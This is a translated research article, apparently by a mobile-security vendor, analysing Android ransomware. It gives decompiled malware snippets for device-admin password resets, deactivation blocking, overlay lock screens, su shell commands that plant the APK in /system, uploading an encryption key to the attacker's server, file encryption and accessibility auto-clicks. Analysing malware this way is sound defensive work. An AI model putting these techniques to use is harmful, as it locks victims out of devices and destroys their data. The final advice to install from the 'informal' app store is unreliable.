Android ransomware research

Author: Yue Luo

Translated by c0zzy

Summary

The ransomware is more disguised as some system function components, or some special function APP (such as porn, game plug-in, cracked applications, etc.), to trick users into installing, after asking for some sensitive permissions of the system, locking the user's device, and proceeding ransom notice.

Sometimes ransomware cannot be successfully unlocked due to its own design or bugs, as well as the limitations of the API on the high-end Android system. This will directly lead to the loss of data, the disclosure of personal information, and even the credit card being stolen. That will result in a great loss to end users.

Category

Through a series of sample studies and victim feedback, it is known that there are usually two types of ransomware on Android platform:

  1. Lock screen
  2. File encryption

The form of claiming a ransom includes but is not limited to: Alipay/WeChat transfer, Bitcoin transaction, and credit card information.

Mechanism

Request Device Admin permission:

Device Admin is a very dangerous permission. At the beginning of design, this functionality is an interface for manufacturers to develop mobile phone anti-theft functions. As long as the user installs such an app and clicks Activate, the APP has the device administrator authority and has the following permissions. One or more:

  1. Encrypted storage
  2. Disable camera
  3. Disable lock screen related features
  4. Forced password expired
  5. Lock screen
  6. Limit available password types
  7. reset Password
  8. Monitor password input for correct or incorrect
  9. Erase data

Once the malicious application is granted the above permissions, the consequences will be unimaginable. The author of the ransomware can lock the user's mobile phone and reset the password as desired. Therefore, you must be extra careful to give the third-party software this permission.

Code Example

When you need to use Device Admin permission, you need to explicitly register a BoardcastReceiver in manifest.xml:

<receiver  
    android:name=".AdminReceiver"  
    android:permission="android.permission.BIND_DEVICE_ADMIN">  
    <meta-data  
        android:name="android.app.device_admin"  
        android:resource="@xml/device_admin" />  
  
    <intent-filter>  
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />  
    </intent-filter>  
</receiver> 

An additional device_admin.xml in meta-data is used to declare the admin rights to be used:

<device-admin xmlns:android="http://schemas.android.com/apk/res/android">  
    <uses-policies>  
        <limit-password />      
        <watch-login />         
        <reset-password />      
        <force-lock />          
        <wipe-data />           
        <expire-password />     
        <encrypted-storage />   
        <disable-camera />      
    </uses-policies>  
</device-admin> 

Sample malicious code snippet:

/* Access modifiers changed, original: protected */  
public void onActivityResult(int i, int i2, Intent intent) {  
    if (i2 == -1) {  
        startService(new Intent(getBaseContext(), admsurprises2.class));  
    } else {  
        mo5a();  
    }  
    super.onActivityResult(i, i2, intent);  
}  
 
/* Access modifiers changed, original: protected */  
/* renamed from: a */  
public void mo5a() {  
    this.f7f = (DevicePolicyManager) getSystemService("device_policy");  
    if (!this.f7f.isAdminActive(new ComponentName(this, Abrab16.class))) {  
        Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");  
        intent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, Abrab16.class));  
        intent.putExtra("android.app.extra.ADD_EXPLANATION", getString(C0079R.string.admindescription));  
        intent.setFlags(536870912);  
        startActivityForResult(intent, this.f8g);  
    }  
}  

This code will ask the user for permission. As long as the user does not give it, he will request it by looping the window.

Once the user has given the permission, you can only deactivate it manually in the Settings -> Security -> Device Management application, but it is already too late:

public C0000a(Emanuell emanuell) {  
    super(emanuell);  
    this.iiiIiilIiilllliIlIillllIliiliIiIiIIllIIIilIIliiiilIilIllliliiI = Color.parseColor("#50afb0b3");  
    this.IIiIllIIIIIiIlIiiIlllIlllIiIliiIlIIlliIIlIlllliilIIlIIiI = Color.parseColor("#FFFFFF");  
    this.lIIiliiIiIIlIIiilIilllilIIIIiiiiilliIIiliiiilIIliiiIIIIIIi = Color.parseColor("#e9eaeb");  
    this.llIIilIlIiillIiilliiIIIiiIiiiIIilIlIIlIiiiiiiIliliIIlIiIiIl = "ackgroun";  
    this.f25x247bca60 = 0;  
    this.f22x392a2849 = C0079R.layout.activity_main;  
    this.f25x247bca60 = 1;  
    DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getContext().getSystemService("device_policy");  
    if (devicePolicyManager.isAdminActive(new ComponentName(getContext(), Abrab16.class))) {  
        String valueOf = String.valueOf(new Random().nextInt(9999999));  
        if (Build.BRAND.startsWith("lg")) {  
            valueOf = "";  
        }  
        devicePolicyManager.resetPassword(valueOf, 1);  
    }  
    setLongClickable(true);  
    setOnLongClickListener(new C0027b(this));  
    IIliliIlIillilIliIiIliiiiiIiIIiIIilllIlIiilIi();  
}  

The malware can reset the user's lock screen password via the resetPassword method.

Additional information

In Android N (7.x), the DevicePolicyManager.resetPassword method can only set the initial password for a machine without a password, but it cannot reset or clear the existing password, so the old version of the malicious application is not working on the machine with the password anymore.

When App targetsdkversion is Android O (8.x) and above, the API will directly throw a SecurityException, so malicious applications will choose a lower version of targetsdk to circumvent.

Historical Device Admin Vulnerability

  1. In Android 4.2 and below, an application that does not register android.app.action.DEVICE_ADMIN_ENABLED in the manifest file can also be activated as a device admin. In Android source code, the registered receiver is used to display the registered permissions in the device admin list. APP, this vulnerability was fixed in Android 4.4.
  2. In Android 4.2 and below, enter the deactivation interface in the device admin. When you click deactivate, a dialog box will pop up. At this time, the ActivityManagerNative.getDefault().stopAppSwitch() method will be called to prohibit other activities from jumping to avoid affecting the user. Operation, the activity to be jumped will be added to the suspended queue and frozen for 5 seconds, but before DevicePolicyManagerService.removeActiveAdmin(), if onDisableRequested returns non-empty content, a warning dialog will pop up, prompting the user to deactivate, only The user agrees to continue, so we only need to open an Activity and block the function to return or disable the user, such as malicious lock screen for 7 seconds or thread blocking for 7 seconds. This vulnerability is fixed in Android 4.4.

Malicious code snippet:

public CharSequence onDisableRequested(Context arg4, Intent arg5) {  
        Intent v0 = arg4.getPackageManager().getLaunchIntentForPackage(this.a);  
        v0.setFlags(0x10000000);  
        arg4.startActivity(v0);  
        DevicePolicyManager v0_1 = (DevicePolicyManager)arg4.getSystemService("device_policy");  
        v0_1.lockNow();  
        new Thread(new bj(this, v0_1)).start();  
        return "";  
    }  
 
class bj implements Runnable {  
    bj(Abrab16 arg1, DevicePolicyManager arg2) {  
        this.a = arg1;  
        this.b = arg2;  
        super();  
    }  
  
    public void run() {  
        int v0;  
        for(v0 = 0; v0 < 140; ++v0) {  
            this.b.lockNow();  
            try {  
                Thread.sleep(50);  
            }  
            catch(InterruptedException v1) {  
                v1.printStackTrace();  
            }  
        }  
    }  
}  

Android screen overlay

The ransomware application uses the screen overlay to display itself on the window of other applications and obscures the entire screen to achieve the lock screen effect. At this time, the windows of other applications cannot be displayed and interacted properly, so the user cannot close the application and extort The software prompts the user to pay or trick the user into submitting credit card information to their server to obtain the unlock code.

If the user is using Android 8.0 or higher, you can find the rights management menu through the taskbar:

Unauthorize the app and go back to the system settings to uninstall the malicious app.

Users who are still using the lower version of Android, if you have not given the malicious application more permissions (such as device administrator, Root, etc.), you can try to press and hold the power button to turn on the power option, long press the "shutdown" option. Will prompt you to enter the safe mode, click OK, in the safe mode, all third-party applications will be disabled, you can uninstall it in the system settings, then restart will return to the normal state.

Depending on the system version and Rom, there may be differences. If the phone has USB debugging enabled, try connecting to the computer and uninstalling via ADB.

Technical details

To create a screen overlay on top of other applications, you need to explicitly declare android.permission.SYSTEM_ALERT_WINDOW in manifest.xml

Ready to use:

TYPE_SYSTEM_ALERT

TYPE_SYSTEM_DIALOG

TYPE_SYSTEM_ERROR

TYPE_SYSTEM_OVERLAY

Due to the sensitivity of functionality, Google official has emphasized that only a very small number of applications should use this permission, so it is mostly used by ransomware. The following malicious code is used to draw a ransomware window:

/* renamed from: phrdqa.ajdjtykdcxedhefkh.gyaspacm.bk */  
public class C0038bk extends RelativeLayout {  
    /* renamed from: a */  
    protected LayoutParams f50a;  
    /* renamed from: b */  
    int f51b = Color.parseColor("#50afb0b3");  
    /* renamed from: c */  
    int f52c = Color.parseColor("#FFFFFF");  
    /* renamed from: d */  
    int f53d = Color.parseColor("#e9eaeb");  
    /* renamed from: e */  
    String f54e = "ackgroun";  
    /* renamed from: f */  
    private int f55f;  
    /* renamed from: g */  
    private int f56g = 0;  
    /* renamed from: h */  
    private WebView f57h;  
    /* renamed from: i */  
    private admsurprises2 f58i;  
  
    public C0038bk(admsurprises2 admsurprises2) {  
        super(admsurprises2);  
        this.f58i = admsurprises2;  
        this.f55f = C0079R.layout.activity_main2;  
        this.f56g = 1;  
        mo120f();  
    }  
  
    /* renamed from: a */  
    private String m23a(String str) {  
        if (str == null || str.length() == 0) {  
            return "";  
        }  
        char charAt = str.charAt(0);  
        return !Character.isUpperCase(charAt) ? Character.toUpperCase(charAt) + str.substring(1) : str;  
    }  
  
    /* renamed from: k */  
    private void m24k() {  
        int i = (int) (((double) getResources().getDisplayMetrics().heightPixels) * 0.9d);  
        if ("xiaomi".equalsIgnoreCase(Build.MANUFACTURER)) {  
            this.f50a = new LayoutParams(-1, -1, 2005, 256, -3);  
        } else {  
            this.f50a = new LayoutParams(-1, -1, 2010, 256, -3);  
        }  
        this.f50a.screenOrientation = 1;  
        this.f50a.gravity = getLayoutGravity();  
        mo111a();  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: a */  
    public void mo111a() {  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: a */  
    public void mo112a(MotionEvent motionEvent) {  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: a */  
    public boolean mo113a(int i) {  
        return true;  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: b */  
    public void mo114b() {  
        ((LayoutInflater) getContext().getSystemService("layout_inflater")).inflate(this.f55f, this);  
        this.f57h = (WebView) findViewById(C0050bw.webView1);  
        WebSettings settings = this.f57h.getSettings();  
        try {  
            Class.forName("android.webkit.WebSettings").getMethod("setJavaScriptEnabled", new Class[]{Boolean.TYPE}).invoke(settings, new Object[]{Boolean.valueOf(true)});  
        } catch (Exception e) {  
        }  
        this.f57h.setWebViewClient(new C0048bu(this));  
        String str = "tp";  
        try {  
            Class.forName("android.webkit.WebView").getMethod("lo" + "adU" + "rl", new Class[]{String.class}).invoke(this.f57h, new Object[]{"file:///android_asset/index.html"});  
        } catch (Exception e2) {  
        }  
        mo116c();  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: b */  
    public void mo115b(MotionEvent motionEvent) {  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: c */  
    public void mo116c() {  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: c */  
    public void mo117c(MotionEvent motionEvent) {  
    }  
  
    /* renamed from: d */  
    public boolean mo118d() {  
        return true;  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: e */  
    public void mo119e() {  
        m24k();  
        ((WindowManager) getContext().getSystemService("window")).addView(this, this.f50a);  
        try {  
            Method method = super.getClass().getSuperclass().getMethod("setVisibility", new Class[]{Integer.TYPE});  
            try {  
                method.invoke(super.getClass(), new Object[]{Integer.valueOf(8)});  
            } catch (IllegalArgumentException e) {  
                e.printStackTrace();  
            } catch (IllegalAccessException e2) {  
                e2.printStackTrace();  
            } catch (InvocationTargetException e3) {  
                e3.printStackTrace();  
            }  
        } catch (NoSuchMethodException e4) {  
            e4.printStackTrace();  
        }  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: f */  
    public void mo120f() {  
        mo114b();  
        mo119e();  
        mo126h();  
    }  
  
    /* renamed from: g */  
    public void mo121g() {  
        ((WindowManager) getContext().getSystemService("window")).removeView(this);  
    }  
  
    public String getDeviceName() {  
        String str = Build.MANUFACTURER;  
        String str2 = Build.MODEL;  
        return str2.startsWith(str) ? m23a(str2) : m23a(str) + " " + str2;  
    }  
  
    public int getLayoutGravity() {  
        return 48;  
    }  
  
    /* Access modifiers changed, original: protected */  
    public int getLeftOnScreen() {  
        int[] iArr = new int[2];  
        getLocationOnScreen(iArr);  
        return iArr[0];  
    }  
  
    public Emanuell getService() {  
        return (Emanuell) getContext();  
    }  
  
    /* renamed from: h */  
    public void mo126h() {  
        if (mo118d()) {  
            new C0041bn(this).iiIIIiilillIilIlIllIllliIlliIiilIililIIiIllil(0);  
            mo127i();  
            return;  
        }  
        new C0041bn(this).iiIIIiilillIilIlIllIllliIlliIiilIililIIiIllil(8);  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: i */  
    public void mo127i() {  
    }  
  
    /* Access modifiers changed, original: protected */  
    /* renamed from: j */  
    public boolean mo128j() {  
        return true;  
    }  
  
    public boolean onTouchEvent(MotionEvent motionEvent) {  
        if (motionEvent.getActionMasked() == 0) {  
            mo117c(motionEvent);  
        } else if (motionEvent.getActionMasked() == 1) {  
            mo112a(motionEvent);  
        } else if (motionEvent.getActionMasked() == 2) {  
            mo115b(motionEvent);  
        }  
        return super.onTouchEvent(motionEvent);  
    }  
  
    public void setVisibility(int i) {  
        boolean z = false;  
        Emanuell service;  
        int i2;  
        if (i == 0) {  
            service = getService();  
            i2 = this.f56g;  
            if (!mo128j()) {  
                z = true;  
            }  
            service.mo11a(i2, z);  
        } else {  
            service = getService();  
            i2 = this.f56g;  
            if (!mo128j()) {  
                z = true;  
            }  
            service.mo12b(i2, z);  
        }  
        if (getVisibility() != i && mo113a(i)) {  
            new C0045br(this).IliliIlIIIIiiiilIIilIlliIlIililIiilIiiIilIIiliIllill(i);  
        }  
    }  
}  

Additional information

Android N (7.x) starts, screen overlay permissions need to be dynamically applied before they can be used.

Android O (8.0) and above

TYPE_SYSTEM_ALERT

TYPE_SYSTEM_OVERLAY

TYPE_SYSTEM_ERROR

If the window type is disabled, an exception will be thrown, indicating permission denied for window types.

Note: The above restrictions are only valid for high-level SDKs (23), and malicious applications often do not use higher SDK versions for development, such as sample declarations:

  1. <uses-sdk android:minSdkVersion="8"/>

By explicitly not declaring TargetSdkVersion, the default SDK version will be the same as minsdkVersion, For backward compatibility,  it will not prevent the application from using the above window, but the user has a way to close the malicious application through the taskbar, so the lock screen application is working well on the high version of Android anymore.

Rooting

These applications commonly pretend to be game plugins, system helper etc, and they often require higher system privileges to complete the injection and modification of the system or other processes. Therefore they can induce users grant Root privileges to use these "advanced features."

Once the user has given the Root permission:

The ransomware software was executed, and the user was asked to pay the ransom to obtain the unlock code (but many of the cases, they won't be unlocked).

Commonly the end users does not need Root privileges. Google and the manufacturer are constantly optimizing the system for the user experience and giving the best side to the user. Therefore, the need to "change the machine" is now less and less for most users. A lot of restrictions have been made to prohibit users from obtaining Root privileges. Once a malicious application gains root privileges, the consequences will be unimaginable. With Root permissions, malicious applications can damage system files, steal privacy, and prevent users from using mobile phones normally.

Technical details

Commonly malicious applications tries to get Root privilege by executing the Shell command as followings:

Process v0_1 = (Process)null;  
v2 = (BufferedReader)null;  
v3 = (BufferedReader)null;  
StringBuilder v4 = (StringBuilder)null;  
StringBuilder v5 = (StringBuilder)null;  
DataOutputStream v6 = (DataOutputStream)null;  
try {  
    Runtime v8 = Runtime.getRuntime();  
    String v7_2 = arg13 ? "su" : "sh";  
    v8_1 = v8.exec(v7_2);  
    goto label_28;  
} 

Then they can do any system commands under root privilege:

QQ.execCommand(new String[]{"mount -o rw,remount /system", "mount -o rw,remount /system/app", "cp /sdcard/Android/weixinzhifubao /system/app/", "chmod 777 /system/app/weixinzhifubao", "mv /system/app/weixinzhifubao /system/app/QQweixin.apk", "chmod 644 /system/app/QQweixin.apk", "reboot"}, true);  
    

The malicious application is copied into to the system folder through the shell command, and the application will be installed as a system APP, which can bypass uninstallation and the factory settings.

File Encryption

The category is similar to the wannacry ransomware on Windows platform when the Eternal Blue event spread out, extorting users from paying ransoms in the form of bitcoin and avoiding the risk of cash transactions. Commonly, the app will ask the user to grant Device Admin permission to the app to enhance its survivability, then it encrypts the files and pop out of notice to ask the user to pay the ransom.

Commonly the files are encrypted under an asymmetric encryption algorithm, or symmetric encryption with randomly generated keys, the probability to get the original data back is not big.

Technical details

Generate a random password and upload it to the author's server:

public static SecretKey a() {  
    SecretKey v0_2;  
    try {  
        SecureRandom v0_1 = new SecureRandom();  
        KeyGenerator v1 = KeyGenerator.getInstance(k.a[22]);  
        v1.init(0x100, v0_1);  
        v0_2 = v1.generateKey();  
    }  
    catch(Exception v0) {  
        v0_2 = null;  
    }  
  
    return v0_2;  
}  

public void a(Context arg8, String arg9, String arg10) {  
        new r(arg8, k.a[24]).execute(new Object[]{String.format(Locale.US, k.a[25], Arrays.toString(k.c.getEncoded()), arg9, Build.MODEL, arg10)});  
    }  
public static final CharSequence a(Context arg8, List arg9, boolean arg10) {  
        Throwable v2_2;  
        Closeable v0_3;  
        InputStream v2_1;  
        Closeable v1 = null;  
        StringBuilder v3 = new StringBuilder();  
        if(llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.a(arg8)) {  
            try {  
                HttpPost v0_2 = new HttpPost(new URI(llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.b(arg8)));  
                v0_2.setEntity(new UrlEncodedFormEntity(arg9, llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.a[4]));  
                BasicHttpParams v2 = new BasicHttpParams();  
                HttpConnectionParams.setConnectionTimeout(((HttpParams)v2), 300000);  
                HttpConnectionParams.setSoTimeout(((HttpParams)v2), 60000);  
                HttpConnectionParams.setTcpNoDelay(((HttpParams)v2), true);  
                v2_1 = new DefaultHttpClient(((HttpParams)v2)).execute(((HttpUriRequest)v0_2)).getEntity().getContent();  
            }  
            catch(Exception v0_1) {  
                v0_3 = null;  
                goto label_43;  
            }  

Encrypt the user's files:

try {  
                if(v0_4.length() <= 0 || (((double)e.a(v0_4.length()))) > c.b) {  
                    goto label_12;  
                }  
  
                if(this.i) {  
                    byte[] v1 = o.a(v0_4.getAbsolutePath());  
                    if(v1.length == 0) {  
                        goto label_12;  
                    }  
  
                    if(this.b(v0_4)) {  
                        this.j = false;  
                        v1_1 = null;  
                    }  
                    else {  
                        v1_1 = this.a(this.a(arg11[0], v1), o.b(v0_4), 0);  
                        this.h = this.h + v0_4.getAbsolutePath() + f.m[24] + v0_4.length() + f.m[26] + "\n";  
                        this.j = true;  
                    }  
  
                    v3 = v1_1;  
                    goto label_61;  
                }  
  
                if(this.b(v0_4)) {  
                    v1_2 = this.a(this.b(arg11[0], o.a(v0_4)), o.b(v0_4), 0);  
                    this.h = this.h + v0_4.getAbsolutePath() + f.m[27] + v0_4.length() + f.m[23] + "\n";  
                    this.j = true;  
                    if(v4 == 0) {  
                        v3 = v1_2;  
                        goto label_61;  
                    }  
                }  
  
                goto label_133;  
            }  

Additional information

Here is an example of ransomware which pretends to be an update to the adobe flash player and tricks the user to grand Device Admin, once the user has given the Device Admin permission, the app will make the disabling of the permission really hard by simulating the click on Cancel button of the dialog. The code has very strong string obfuscation to make the static code analysis hard.

Here is the code that simulates the click:

public static void a(AccessibilityNodeInfo arg5, int arg6, String[] arg7) {  
        int v3 = c.d;  
        if(arg5 != null) {  
            int v2 = 0;  
            int v0 = 0;  
            try {  
                while(v2 < arg7.length) {  
                    ((AccessibilityNodeInfo)arg5.findAccessibilityNodeInfosByViewId(arg7[v2]).get(0)).performAction(16);  
                    ++v2;  
                    v0 = 1;  
                    if(v3 == 0) {  
                        continue;  
                    }  
  
                    goto label_18;  
                }  
            }  
            catch(Exception v0_1) {  
                goto label_29;  
            }  
  
            if(v0 != 0) {  
                return;  
            }  
  
            v0 = 0;  
            try {  
                while(true) {  
                label_18:  
                    if(v0 >= arg5.getChildCount()) {  
                        return;  
                    }  
  
                    lIllIIIllLlllIIIllIIlllLIlllIllIllIllLllIIILllIllllllIII.a(arg5.getChild(v0), arg6 + 1, arg7);  
                    ++v0;  
                }  
            }  
            catch(Exception v0_1) {  
            }  
  
        label_29:  
        }  
    }  
    ~~~

Conclusion

The purpose of ransomware is just for illegal profits, and the user's data security and privacy are not under consideration of ransomware authors. Sometimes even  the ransom was paid, it still might result in screen was locked or files were encrypted, so never transfer money or submit personal information. To avoid the installation of ransomware, please always install the software in the informal app store, and pay extra attentions to the applications with sensitive permissions.

Solutions

The Trustlook team has been focus on Android Mobile Security since 2013. Their malware detection service provides mobile and Windows portable executable (PE) malwares, ransomware online scanning service by a detection engine with AI technologies. At the same time lightweight SDKs are offered to developers and services can be integrated into mobile devices, Windows / Linux server and IoT embedded devices etc.

For details, please refer to the company website:

Https://www.trustlook.com/services/malware-detection.html